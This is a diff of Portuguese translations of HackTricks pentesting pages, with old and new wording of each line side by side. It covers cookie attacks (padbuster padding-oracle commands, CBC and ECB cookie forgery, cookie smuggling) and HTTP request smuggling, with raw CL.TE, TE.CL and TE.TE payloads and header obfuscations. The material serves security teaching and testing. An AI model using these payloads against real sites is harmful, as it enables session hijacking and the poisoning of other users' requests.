* Isso pode ser contornado com solicitações **TRACE** **HTTP** já que a resposta do servidor (se este método HTTP estiver disponível) refletirá os cookies enviados. Esta técnica é chamada de **Cross-Site Tracking**.
* Esta técnica é evitada por **navegadores modernos por não permitirem o envio de uma solicitação TRACE** a partir do JS. No entanto, alguns bypasses foram encontrados em softwares específicos, como enviar `\r\nTRACE` em vez de `TRACE` para o IE6.0 SP2.
* Isso poderia ser contornado com solicitações **TRACE** **HTTP** já que a resposta do servidor (se este método HTTP estiver disponível) refletirá os cookies enviados. Esta técnica é chamada de **Cross-Site Tracking**.
* Esta técnica é evitada por **navegadores modernos por não permitirem o envio de uma solicitação TRACE** a partir do JS. No entanto, alguns bypasses para isso foram encontrados em softwares específicos, como enviar `\r\nTRACE` em vez de `TRACE` para o IE6.0 SP2.
* Outra forma é a exploração de vulnerabilidades zero/day dos navegadores.
* É possível **sobrescrever cookies HttpOnly** realizando um ataque de estouro de Cookie Jar:
@ -91,19 +94,19 @@ Isso impede que o **cliente** acesse o cookie (Via **Javascript**, por exemplo:
### Secure
O pedido irá **apenas** enviar o cookie em uma solicitação HTTP se o pedido for transmitido por um canal seguro (tipicamente **HTTPS**).
A solicitação **apenas** enviará o cookie em uma solicitação HTTP se a solicitação for transmitida por um canal seguro (tipicamente **HTTPS**).
## Prefixos de Cookies
**Prefixo `__Secure-`**: deve ser definido com a flag `secure` de uma página segura (HTTPS).
**`__Secure-` prefixo**: deve ser definido com a bandeira `secure` a partir de uma página segura (HTTPS).
**Prefixo `__Host-`**: deve ser definido com a flag `secure`, deve ser de uma página segura (HTTPS), não deve ter um domínio especificado (e, portanto, não são enviados para subdomínios), e o caminho deve ser `/`.
**`__Host-` prefixo**: deve ser definido com a bandeira `secure`, deve ser de uma página segura (HTTPS), não deve ter um domínio especificado (e, portanto, não são enviados para subdomínios), e o caminho deve ser `/`.
Cookies com prefixo `__Host-` não podem ser enviados para superdomínios (cookies de subdomínios para domínios) ou subdomínios (cookies de domínios para subdomínios), então, se você quiser isolar os cookies da sua aplicação, prefixar tudo com `__Host-` não é uma má ideia.
## Ataques com Cookies
## Ataques de Cookies
Se você encontrar algum tipo de cookie personalizado contendo dados sensíveis (sessionID, nome de usuário, emails, etc.), você definitivamente deve tentar explorá-lo
Se você encontrar algum tipo de cookie personalizado contendo dados sensíveis (sessionID, nome de usuário, emails, etc.) você definitivamente deve tentar explorá-lo
### Decodificando o cookie
@ -115,7 +118,7 @@ Roubar um cookie e usá-lo para se passar pelo usuário dentro de uma aplicaçã
### Session fixation
O atacante obtém um cookie de uma página da web e envia um link para a vítima para **fazer login usando o mesmo cookie**. Se o cookie não for alterado quando um usuário faz login, isso pode ser útil porque o atacante poderia ser capaz de se passar pelo usuário através de um cookie.
O atacante obtém um cookie de uma página web e envia um link para a vítima para **entrar usando exatamente o mesmo cookie**. Se o cookie não for alterado quando um usuário faz login, isso pode ser útil porque o atacante poderia ser capaz de se passar pelo usuário através de um cookie.
Se você encontrou um **XSS em um subdomínio** ou você **controla um subdomínio**, leia:
@ -149,7 +152,7 @@ Isso resulta no cabeçalho de cookie enviado:
```
a=v1; test value; b=v2;
```
Mais interessante ainda, se você tiver um vetor que de alguma forma permita que você **defina o cookie vazio**, você pode **controlar qualquer outro cookie**:
Mais interessante ainda, se você tiver um vetor que de alguma forma permita **definir o cookie vazio**, você pode **controlar qualquer outro cookie**:
```js
function setCookie(name, value) {
document.cookie = `${name}=${value}`;
@ -175,7 +178,7 @@ document.cookie
```
### Contrabando de Cookies
Vários servidores web, incluindo servidores Java como Jetty, TomCat, Undertow, e o framework web Python Zope, bem como servidores/frameworks web Python como cherrypy, web.py, aiohttp server, bottle e webob, são encontrados com **análise incorreta de strings de cookies** devido ao suporte remanescente para RFC2965, um mecanismo de cotação de cookies desatualizado que utiliza RFC2616 para uma definição de string entre aspas.
Vários servidores web, incluindo servidores Java como Jetty, TomCat, Undertow, e o framework web Python Zope, bem como servidores/frameworks web Python como cherrypy, web.py, aiohttp server, bottle e webob, são encontrados para **interpretar incorretamente strings de cookies** devido ao suporte remanescente para RFC2965, um mecanismo de cotação de cookies desatualizado que usa RFC2616 para uma definição de string entre aspas.
Especificamente, **esses servidores continuam lendo uma string de cookie quando encontram um valor de cookie entre aspas duplas (dquoted), mesmo se um ponto e vírgula for encontrado**. Isso é problemático porque **pontos e vírgulas devem separar pares chave-valor** na string de cookie.
@ -191,7 +194,7 @@ Isso leva a um risco de segurança: se um atacante obtiver acesso a cross-site s
Muitos servidores web, incluindo o Undertow do Java, o Zope do Python e aqueles que usam o http.cookie.SimpleCookie e o http.cookie.BaseCookie da stdlib do Python, foram encontrados **interpretando incorretamente os cookies, usando delimitadores errados para iniciar o próximo par nome/valor do cookie**. Isso permite que um atacante **simule múltiplos cookies enquanto controla apenas o valor de um cookie**.
No caso do **Undertow**, ele começa a analisar o próximo cookie imediatamente após o **final de um valor de cookie entre aspas**, sem esperar por um ponto e vírgula:
No caso do **Undertow**, ele começa a interpretar o próximo cookie imediatamente após o **final de um valor de cookie entre aspas**, sem esperar por um ponto e vírgula:
```bash
LANGUAGE="en-us" CSRF_TOKEN="SPOOFED_VALUE"
```
@ -227,7 +230,7 @@ Se o cookie permanece o mesmo (ou quase) quando você faz login, isso provavelme
* Tentar criar várias **contas** com nomes de usuário muito **semelhantes** e tentar **adivinhar** como o algoritmo está funcionando.
* Tentar **força bruta no nome de usuário**. Se o cookie salva apenas como um método de autenticação para o seu nome de usuário, então você pode criar uma conta com o nome de usuário "**Bmin**" e **forçar a bruta** em cada **bit** do seu cookie porque um dos cookies que você tentar será o pertencente a "**admin**".
* Tentar **Padding** **Oracle** (você pode descriptografar o conteúdo do cookie). Use **padbuster**.
* Tentar **Padding Oracle** (você pode descriptografar o conteúdo do cookie). Use **padbuster**.
**Padding Oracle - Exemplos de Padbuster**
```bash
@ -239,7 +242,7 @@ padbuster http://web.com/index.php u7bvLewln6PJPSAbMb5pFfnCHSEd6olf 8 -cookies a
padBuster http://web.com/home.jsp?UID=7B216A634951170FF851D6CC68FC9537858795A28ED4AAC6
7B216A634951170FF851D6CC68FC9537858795A28ED4AAC6 8 -encoding 2
```
Padbuster fará várias tentativas e perguntará qual condição é a condição de erro (aquela que não é válida).
Padbuster fará várias tentativas e perguntará qual condição é a condição de erro (a que não é válida).
Em seguida, começará a descriptografar o cookie (pode levar vários minutos)
@ -255,22 +258,22 @@ Talvez um cookie possa ter algum valor e possa ser assinado usando CBC. Então,
**O ataque**
1. Obtenha a assinatura do nome de usuário **administ** = **t**
2. Obtenha a assinatura do nome de usuário **rator\x00\x00\x00 XOR t** = **t'**
3. Defina no cookie o valor **administrator+t'** (**t'** será uma assinatura válida de **(rator\x00\x00\x00 XOR t) XOR t** = **rator\x00\x00\x00**
1. Obter a assinatura do nome de usuário **administ** = **t**
2. Obter a assinatura do nome de usuário **rator\x00\x00\x00 XOR t** = **t'**
3. Definir no cookie o valor **administrator+t'** (**t'** será uma assinatura válida de **(rator\x00\x00\x00 XOR t) XOR t** = **rator\x00\x00\x00**
**ECB**
Se o cookie é criptografado usando ECB, ele pode ser vulnerável.\
Quando você faz login, o cookie que você recebe deve ser sempre o mesmo.
Quando você faz login, o cookie que você recebe tem que ser sempre o mesmo.
**Como detectar e atacar:**
Crie 2 usuários com dados quase idênticos (nome de usuário, senha, email, etc.) e tente descobrir algum padrão dentro do cookie fornecido
Crie 2 usuários com dados quase iguais (nome de usuário, senha, email, etc.) e tente descobrir algum padrão dentro do cookie dado
Crie um usuário chamado, por exemplo, "aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa" e verifique se há algum padrão no cookie (como ECB criptografa com a mesma chave cada bloco, os mesmos bytes criptografados podem aparecer se o nome de usuário for criptografado).
Deve haver um padrão (com o tamanho de um bloco usado). Então, sabendo como um monte de "a" é criptografado, você pode criar um nome de usuário: "a"\*(tamanho do bloco)+"admin". Depois, você poderia deletar o padrão criptografado de um bloco de "a" do cookie. E você terá o cookie do nome de usuário "admin".
Deve haver um padrão (com o tamanho de um bloco usado). Então, sabendo como um monte de "a" é criptografado, você pode criar um nome de usuário: "a"\*(tamanho do bloco)+"admin". Então, você poderia deletar o padrão criptografado de um bloco de "a" do cookie. E você terá o cookie do nome de usuário "admin".
## Referências
@ -278,19 +281,21 @@ Deve haver um padrão (com o tamanho de um bloco usado). Então, sabendo como um
<figure><img src="/.gitbook/assets/image (675).png" alt=""><figcaption></figcaption></figure>
Encontre vulnerabilidades que importam mais para que você possa corrigi-las mais rapidamente. Intruder rastreia sua superfície de ataque, executa varreduras proativas de ameaças, encontra problemas em toda a sua pilha tecnológica, de APIs a aplicativos web e sistemas em nuvem. [**Experimente gratuitamente**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) hoje.
Encontre vulnerabilidades que importam mais para que você possa corrigi-las mais rápido. Intruder rastreia sua superfície de ataque, executa varreduras proativas de ameaças, encontra problemas em toda a sua pilha tecnológica, de APIs a aplicativos web e sistemas em nuvem. [**Experimente gratuitamente**](https://www.intruder.io/?utm\_source=referral\&utm\_campaign=hacktricks) hoje.
{% embed url="https://www.intruder.io/?utm_campaign=hacktricks&utm_source=referral" %}
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>Aprenda AWS hacking do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* Você trabalha em uma **empresa de cibersegurança**? Quer ver sua **empresa anunciada no HackTricks**? ou quer ter acesso à **versão mais recente do PEASS ou baixar o HackTricks em PDF**? Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
Outras maneiras de apoiar o HackTricks:
* Se você quiser ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF** Confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* Adquira o [**merchandising oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo do Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo do telegram**](https://t.me/peass) ou **siga**-me no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
* **Junte-se ao** 💬 [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga**-me no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm)**.**
* **Compartilhe suas dicas de hacking enviando PRs para os repositórios github** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>

213
pentesting-web/http-request-smuggling/README.md
View file

@ -1,27 +1,29 @@
# HTTP Request Smuggling / Ataque de Desincronização HTTP
# Contrabando de Requisições HTTP / Ataque de Desincronização HTTP
<details>
<summary><a href="https://cloud.hacktricks.xyz/pentesting-cloud/pentesting-cloud-methodology"><strong>☁️ HackTricks Cloud ☁️</strong></a> -<a href="https://twitter.com/hacktricks_live"><strong>🐦 Twitter 🐦</strong></a> - <a href="https://www.twitch.tv/hacktricks_live/schedule"><strong>🎙️ Twitch 🎙️</strong></a> - <a href="https://www.youtube.com/@hacktricks_LIVE"><strong>🎥 Youtube 🎥</strong></a></summary>
<summary><strong>Aprenda a hackear AWS do zero ao herói com</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
* Você trabalha em uma **empresa de cibersegurança**? Você quer ver sua **empresa anunciada no HackTricks**? ou você quer ter acesso à **última versão do PEASS ou baixar o HackTricks em PDF**? Verifique os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção exclusiva de [**NFTs**](https://opensea.io/collection/the-peass-family)
* Adquira o [**swag oficial do PEASS & HackTricks**](https://peass.creator-spring.com)
* **Junte-se ao** [**💬**](https://emojipedia.org/speech-balloon/) [**grupo Discord**](https://discord.gg/hRep4RUj7f) ou ao [**grupo telegram**](https://t.me/peass) ou **siga-me** no **Twitter** [**🐦**](https://github.com/carlospolop/hacktricks/tree/7af18b62b3bdc423e11444677a6a73d4043511e9/\[https:/emojipedia.org/bird/README.md)[**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
* **Compartilhe suas técnicas de hacking enviando PRs para o** [**repositório hacktricks**](https://github.com/carlospolop/hacktricks) **e** [**repositório hacktricks-cloud**](https://github.com/carlospolop/hacktricks-cloud).
Outras formas de apoiar o HackTricks:
* Se você quer ver sua **empresa anunciada no HackTricks** ou **baixar o HackTricks em PDF**, confira os [**PLANOS DE ASSINATURA**](https://github.com/sponsors/carlospolop)!
* Adquira o [**material oficial PEASS & HackTricks**](https://peass.creator-spring.com)
* Descubra [**A Família PEASS**](https://opensea.io/collection/the-peass-family), nossa coleção de [**NFTs**](https://opensea.io/collection/the-peass-family) exclusivos
* **Junte-se ao grupo** 💬 [**Discord**](https://discord.gg/hRep4RUj7f) ou ao grupo [**telegram**](https://t.me/peass) ou **siga**-me no **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/carlospolopm).
* **Compartilhe suas técnicas de hacking enviando PRs para os repositórios github** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud).
</details>
## O que é
Essa vulnerabilidade ocorre quando uma **desincronização** entre **proxies de front-end** e o **servidor de back-end** permite que um **atacante** envie uma **requisição HTTP** que será **interpretada** como uma **única requisição** pelos **proxies de front-end** (balanceadores de carga/reverse-proxy) e como **2 requisições** pelo **servidor de back-end**.\
Isso permite que um usuário **modifique a próxima requisição que chega ao servidor de back-end depois da dele**.
Esta vulnerabilidade ocorre quando uma **desincronização** entre **proxies front-end** e o servidor **back-end** permite que um **atacante** **envie** uma requisição HTTP que será **interpretada** como uma **única requisição** pelos proxies front-end (balanceamento de carga/proxy reverso) e **como 2 requisições** pelo servidor **back-end**.\
Isso permite que um usuário **modifique a próxima requisição que chega ao servidor back-end após a sua**.
### Teoria
[**Especificação RFC (2161)**](https://tools.ietf.org/html/rfc2616)
> Se uma mensagem for recebida com um campo de cabeçalho Transfer-Encoding e um campo de cabeçalho Content-Length, este último DEVE ser ignorado.
> Se uma mensagem é recebida com ambos os campos de cabeçalho Transfer-Encoding e Content-Length, o último DEVE ser ignorado.
**Content-Length**
@ -30,32 +32,32 @@ Isso permite que um usuário **modifique a próxima requisição que chega ao se
**Transfer-Encoding: chunked**
> O cabeçalho Transfer-Encoding especifica a forma de codificação usada para transferir com segurança o corpo da carga útil para o usuário.\
> Chunked significa que dados grandes são enviados em uma série de partes.
> Chunked significa que dados grandes são enviados em uma série de pedaços
### Realidade
O **Front-End** (um balanceador de carga / Reverse Proxy) **processa** o cabeçalho _**content-length**_ ou o cabeçalho _**transfer-encoding**_ e o **servidor de Back-end** **processa o outro** provocando uma **desincronização** entre os 2 sistemas.\
Isso pode ser muito crítico, pois **um atacante será capaz de enviar uma requisição** para o proxy reverso que será **interpretada** pelo servidor de **back-end como 2 requisições diferentes**. O **perigo** dessa técnica reside no fato de que o servidor de **back-end interpretará a segunda requisição injetada** como se ela **tivesse vindo do próximo cliente** e a **requisição real** desse cliente fará **parte** da **requisição injetada**.
O **Front-End** (um balanceador de carga / Proxy Reverso) **processa** o cabeçalho _**content-length**_ ou o cabeçalho _**transfer-encoding**_ e o servidor **Back-end** **processa o outro**, provocando uma **desincronização** entre os 2 sistemas.\
Isso pode ser muito crítico, pois **um atacante poderá enviar uma requisição** ao proxy reverso que será **interpretada** pelo servidor **back-end** **como 2 requisições diferentes**. O **perigo** desta técnica reside no fato de que o servidor **back-end** **interpretará** a **2ª requisição injetada** como se ela **viesse do próximo cliente** e a **requisição real** desse cliente será **parte** da **requisição injetada**.
### Particularidades
Lembre-se de que no HTTP **um caractere de nova linha é composto por 2 bytes:**
Lembre-se que em HTTP **um caractere de nova linha é composto por 2 bytes:**
* **Content-Length**: Este cabeçalho usa um **número decimal** para indicar o **número** de **bytes** do **corpo** da requisição. O corpo é esperado para terminar no último caractere, **uma nova linha não é necessária no final da requisição**.
* **Transfer-Encoding:** Este cabeçalho usa no **corpo** um **número hexadecimal** para indicar o **número** de **bytes** do **próximo chunk**. O **chunk** deve **terminar** com uma **nova linha**, mas essa nova linha **não é contada** pelo indicador de comprimento. Esse método de transferência deve terminar com um **chunk de tamanho 0 seguido por 2 novas linhas**: `0`
* **Connection**: Com base em minha experiência, é recomendado usar **`Connection: keep-alive`** na primeira requisição do Request Smuggling.
* **Content-Length**: Este cabeçalho usa um **número decimal** para indicar o **número** de **bytes** do **corpo** da requisição. Espera-se que o corpo termine no último caractere, **não é necessário uma nova linha no final da requisição**.
* **Transfer-Encoding:** Este cabeçalho usa no **corpo** um **número hexadecimal** para indicar o **número** de **bytes** do **próximo pedaço**. O **pedaço** deve **terminar** com uma **nova linha**, mas esta nova linha **não é contada** pelo indicador de comprimento. Este método de transferência deve terminar com um **pedaço de tamanho 0 seguido por 2 novas linhas**: `0`
* **Connection**: Baseado na minha experiência, é recomendado usar **`Connection: keep-alive`** na primeira requisição do Contrabando de Requisições.
## Exemplos Básicos
Portanto, os ataques de request smuggling envolvem colocar tanto o cabeçalho `Content-Length` quanto o cabeçalho `Transfer-Encoding` em uma única requisição HTTP e manipular esses cabeçalhos para que os servidores de front-end e back-end processem a requisição de maneira diferente. A forma exata como isso é feito depende do comportamento dos dois servidores:
Portanto, ataques de contrabando de requisições envolvem colocar ambos os cabeçalhos `Content-Length` e `Transfer-Encoding` em uma única requisição HTTP e manipulá-los de forma que os servidores front-end e back-end processem a requisição de maneira diferente. A maneira exata de fazer isso depende do comportamento dos dois servidores:
* **CL.TE**: o servidor de front-end usa o cabeçalho `Content-Length` e o servidor de back-end usa o cabeçalho `Transfer-Encoding`.
* **TE.CL**: o servidor de front-end usa o cabeçalho `Transfer-Encoding` e o servidor de back-end usa o cabeçalho `Content-Length`.
* **TE.TE**: o servidor de front-end e o servidor de back-end suportam ambos o cabeçalho `Transfer-Encoding`, mas um dos servidores pode ser induzido a não processá-lo, obfuscando o cabeçalho de alguma forma.
* **CL.TE**: o servidor front-end usa o cabeçalho `Content-Length` e o servidor back-end usa o cabeçalho `Transfer-Encoding`.
* **TE.CL**: o servidor front-end usa o cabeçalho `Transfer-Encoding` e o servidor back-end usa o cabeçalho `Content-Length`.
* **TE.TE**: os servidores front-end e back-end ambos suportam o cabeçalho `Transfer-Encoding`, mas um dos servidores pode ser induzido a não processá-lo ao ofuscar o cabeçalho de alguma forma.
### Vulnerabilidades CL.TE
Aqui, o servidor de front-end usa o cabeçalho **`Content-Length`** e o servidor de back-end usa o cabeçalho **`Transfer-Encoding`**. Podemos realizar um ataque simples de request smuggling da seguinte maneira:
Aqui, o servidor **front-end** usa o cabeçalho **`Content-Length`** e o servidor **back-end** usa o cabeçalho **`Transfer-Encoding`**. Podemos realizar um simples ataque de contrabando de requisições HTTP da seguinte forma:
`POST / HTTP/1.1`\
`Host: vulnerable-website.com`\
@ -66,10 +68,11 @@ Aqui, o servidor de front-end usa o cabeçalho **`Content-Length`** e o servidor
`GET /404 HTTP/1.1`\
`Foo: x`
Observe como o `Content-Length` indica que o **corpo da requisição tem 30 bytes de comprimento** (_lembre-se de que o HTTP usa uma nova linha, portanto, 2 bytes para cada nova linha_), então o proxy reverso **enviará a requisição completa** para o back-end, e o back-end processará o cabeçalho `Transfer-Encoding`, deixando o `GET /404 HTTP/1.1` como o **início da próxima requisição** (aliás, a próxima requisição será anexada a `Foo:x<Próxima requisição começa aqui>`).
Note como `Content-Length` indica que o **comprimento do corpo da requisição é de 30 bytes** (_lembre-se que o HTTP usa como nova linha, então 2 bytes cada nova linha_), então o proxy reverso **enviará a requisição completa** para o back-end, e o back-end processará o cabeçalho `Transfer-Encoding` deixando o `GET /404 HTTP/1.1` como o **início da próxima requisição** (a propósito, a próxima requisição será anexada a `Foo:x<Início da próxima requisição aqui>`).
### Vulnerabilidades TE.CL
Aqui, o servidor front-end usa o cabeçalho `Transfer-Encoding` e o servidor back-end usa o cabeçalho `Content-Length`. Podemos realizar um ataque simples de solicitação HTTP smuggling da seguinte forma:
Aqui, o servidor front-end usa o cabeçalho `Transfer-Encoding` e o servidor back-end usa o cabeçalho `Content-Length`. Podemos realizar um simples ataque de contrabando de requisições HTTP da seguinte forma:
`POST / HTTP/1.1`\
`Host: vulnerable-website.com`\
@ -81,15 +84,15 @@ Aqui, o servidor front-end usa o cabeçalho `Transfer-Encoding` e o servidor bac
`0`\
`\`
Neste caso, o **reverse-proxy** irá **enviar a solicitação inteira** para o **back-end** conforme indicado pelo **`Transfer-Encoding`**. No entanto, o **back-end** irá **processar** apenas os **`7b`** (4 bytes) conforme indicado no `Content-Length`. Portanto, a próxima solicitação será aquela que começa com `GET /404 HTTP/1.1`
Neste caso, o **proxy reverso** **enviará a requisição inteira** para o **back-end**, pois o **`Transfer-encoding`** indica isso. Mas, o **back-end** vai **processar** apenas os **`7b`** (4 bytes) como indicado no `Content-Length`. Portanto, a próxima requisição será a que começa por `GET /404 HTTP/1.1`
_Observação: mesmo que o ataque precise terminar com um `0`, a próxima solicitação será anexada como valores extras do parâmetro **x**._\
_Também observe que o Content-Length da solicitação incorporada indicará o comprimento da próxima solicitação que será anexada ao parâmetro **x**. Se for muito pequeno, apenas alguns bytes serão anexados, e se for muito grande (maior que o comprimento da próxima solicitação), um erro será gerado para a próxima solicitação._
_Note que mesmo que o ataque deva terminar com um `0`, a requisição seguinte será anexada como valores extras do parâmetro **x**._\
_Também note que o Content-Length da requisição embutida indicará o comprimento da próxima requisição que será anexada ao parâmetro **x**. Se for muito pequeno, apenas alguns bytes serão anexados, e se for muito grande (maior que o comprimento da próxima requisição) um erro será lançado para a próxima requisição._
### Vulnerabilidades TE.TE
Aqui, os servidores front-end e back-end suportam o cabeçalho `Transfer-Encoding`, mas um dos servidores pode ser induzido a não processá-lo, obfuscando o cabeçalho de alguma forma.\
Existem potencialmente infinitas maneiras de obfuscar o cabeçalho `Transfer-Encoding`. Por exemplo:
Aqui, os servidores front-end e back-end ambos suportam o cabeçalho `Transfer-Encoding`, mas um dos servidores pode ser induzido a não processá-lo ao ofuscar o cabeçalho de alguma forma.\
Existem potencialmente infinitas maneiras de ofuscar o cabeçalho `Transfer-Encoding`. Por exemplo:
`Transfer-Encoding: xchunked`\
``\ `Transfer-Encoding : chunked`\``\
@ -97,19 +100,19 @@ Existem potencialmente infinitas maneiras de obfuscar o cabeçalho `Transfer-Enc
`Transfer-Encoding: x`\
``\ `Transfer-Encoding: chunked`\ `Transfer-encoding: x`\``\
`Transfer-Encoding:[tab]chunked`\
``\ `[space]Transfer-Encoding: chunked`\``\
``\ `[espaço]Transfer-Encoding: chunked`\``\
`X: X[\n]Transfer-Encoding: chunked`\
\`\`\
`Transfer-Encoding`\
`: chunked`
Dependendo do servidor (reverse-proxy ou back-end) que **para de processar** o cabeçalho **TE**, você encontrará uma vulnerabilidade **CL.TE** ou uma vulnerabilidade **TE.CL**.
Dependendo do servidor (proxy reverso ou back-end) que **parar de processar** o cabeçalho **TE**, você encontrará uma vulnerabilidade **CL.TE** ou **TE.CL**.
## Encontrando HTTP Request Smuggling
## Encontrando Contrabando de Requisições HTTP
### Encontrando vulnerabilidades CL.TE usando técnicas de temporização
### Encontrando vulnerabilidades CL.TE usando técnicas de tempo
Se um aplicativo for vulnerável à variante CL.TE do request smuggling, o envio de uma solicitação como a seguinte geralmente causará um atraso de tempo:
Se uma aplicação for vulnerável à variante CL.TE do contrabando de requisições, então enviar uma requisição como a seguinte frequentemente causará um atraso de tempo:
```
POST / HTTP/1.1
Host: vulnerable-website.com
@ -121,19 +124,19 @@ Content-Length: 4
A
0
```
Uma vez que o servidor front-end usa o cabeçalho `Content-Length`, ele encaminhará apenas parte dessa solicitação, omitindo o `0`. O servidor back-end usa o cabeçalho `Transfer-Encoding`, processa o primeiro fragmento e depois aguarda a chegada do próximo fragmento. Isso causará um atraso perceptível no tempo.
Já que o servidor front-end usa o cabeçalho `Content-Length`, ele encaminhará apenas parte desta solicitação, omitindo o `0`. O servidor back-end usa o cabeçalho `Transfer-Encoding`, processa o primeiro bloco e depois espera pela chegada do próximo bloco. Isso causará um atraso de tempo observável.
Às vezes, em vez de receber um tempo limite, você recebe uma resposta de erro 400 do host final, como no seguinte cenário, onde um payload CL.TE é enviado:
Às vezes, em vez de receber um tempo esgotado, você recebe um erro 400 de solicitação ruim do host final, como no seguinte cenário, onde um payload CL.TE é enviado:
![](<../../.gitbook/assets/image (444).png>)
E a resposta é um redirecionamento contendo um erro no corpo, incluindo a versão do haproxy usada:
E a resposta é um redirecionamento contendo um erro dentro do corpo, com até mesmo a versão do haproxy usada:
![](<../../.gitbook/assets/image (443).png>)
### Encontrando vulnerabilidades TE.CL usando técnicas de temporização
### Encontrando vulnerabilidades TE.CL usando técnicas de tempo
Se uma aplicação for vulnerável à variante TE.CL de request smuggling, enviar uma solicitação como a seguinte geralmente causará um atraso no tempo:
Se uma aplicação for vulnerável à variante TE.CL de contrabando de solicitações, então enviar uma solicitação como a seguinte frequentemente causará um atraso de tempo:
```
POST / HTTP/1.1
Host: vulnerable-website.com
@ -144,27 +147,29 @@ Content-Length: 6
0
X
```
Uma vez que o servidor front-end usa o cabeçalho `Transfer-Encoding`, ele encaminhará apenas parte dessa solicitação, omitindo o `X`. O servidor back-end usa o cabeçalho `Content-Length`, espera mais conteúdo no corpo da mensagem e aguarda a chegada do restante do conteúdo. Isso causará um atraso perceptível no tempo.
```markdown
Uma vez que o servidor front-end utiliza o cabeçalho `Transfer-Encoding`, ele encaminhará apenas parte desta solicitação, omitindo o `X`. O servidor back-end usa o cabeçalho `Content-Length`, espera mais conteúdo no corpo da mensagem e aguarda a chegada do conteúdo restante. Isso causará um atraso de tempo observável.
### Sondando vulnerabilidades de Request Smuggling HTTP
### Sondando vulnerabilidades de HTTP Request Smuggling
Depois de descobrir que as **técnicas de temporização estão funcionando**, você precisa **sondar** se pode **alterar as solicitações de outros clientes**.\
A maneira mais fácil de fazer isso é tentar envenenar suas próprias solicitações, **fazendo uma solicitação para `/` retornar um erro 404, por exemplo**.\
Nos [Exemplos Básicos](./#exemplos-básicos) já vimos exemplos de `CL.TE` e `TE.CL` de como envenenar uma solicitação de um cliente para solicitar `/404`, provocando uma resposta 404 quando o cliente estava solicitando qualquer outro recurso.
Uma vez que você descobriu que as **técnicas de tempo estão funcionando**, você precisa **sondar** se pode **alterar as solicitações de outros clientes**.\
A maneira mais fácil de fazer isso é tentar envenenar suas próprias solicitações, **fazer uma solicitação para `/` retornar um 404, por exemplo**.\
Nos [Exemplos Básicos](./#basic-examples), já vimos exemplos de `CL.TE` e `TE.CL` de como envenenar a solicitação de um cliente para pedir `/404`, provocando uma resposta 404 quando o cliente estava pedindo por qualquer outro recurso.
**Notas**
Algumas considerações importantes devem ser mantidas em mente ao tentar confirmar vulnerabilidades de request smuggling por meio de interferência em outras solicitações:
Algumas considerações importantes devem ser mantidas em mente ao tentar confirmar vulnerabilidades de smuggling de solicitações via interferência com outras solicitações:
* A solicitação "ataque" e a solicitação "normal" devem ser enviadas para o servidor usando conexões de rede diferentes. Enviar ambas as solicitações pela mesma conexão não comprovará que a vulnerabilidade existe.
* A solicitação "ataque" e a solicitação "normal" devem usar a mesma URL e nomes de parâmetros, na medida do possível. Isso ocorre porque muitos aplicativos modernos roteiam solicitações de front-end para diferentes servidores de back-end com base na URL e nos parâmetros. Usar a mesma URL e parâmetros aumenta a chance de que as solicitações sejam processadas pelo mesmo servidor de back-end, o que é essencial para o ataque funcionar.
* Ao testar a solicitação "normal" para detectar qualquer interferência da solicitação "ataque", você está em uma corrida com quaisquer outras solicitações que o aplicativo esteja recebendo ao mesmo tempo, incluindo aquelas de outros usuários. Você deve enviar a solicitação "normal" imediatamente após a solicitação "ataque". Se o aplicativo estiver ocupado, talvez seja necessário fazer várias tentativas para confirmar a vulnerabilidade.
* Em alguns aplicativos, o servidor front-end funciona como um balanceador de carga e encaminha solicitações para diferentes sistemas de back-end de acordo com algum algoritmo de balanceamento de carga. Se suas solicitações "ataque" e "normal" forem encaminhadas para diferentes sistemas de back-end, o ataque falhará. Essa é uma razão adicional pela qual você pode precisar tentar várias vezes antes que uma vulnerabilidade possa ser confirmada.
* Se seu ataque tiver sucesso em interferir em uma solicitação subsequente, mas essa não foi a solicitação "normal" que você enviou para detectar a interferência, isso significa que outro usuário do aplicativo foi afetado pelo seu ataque. Se você continuar realizando o teste, isso pode ter um efeito disruptivo em outros usuários e você deve ter cuidado.
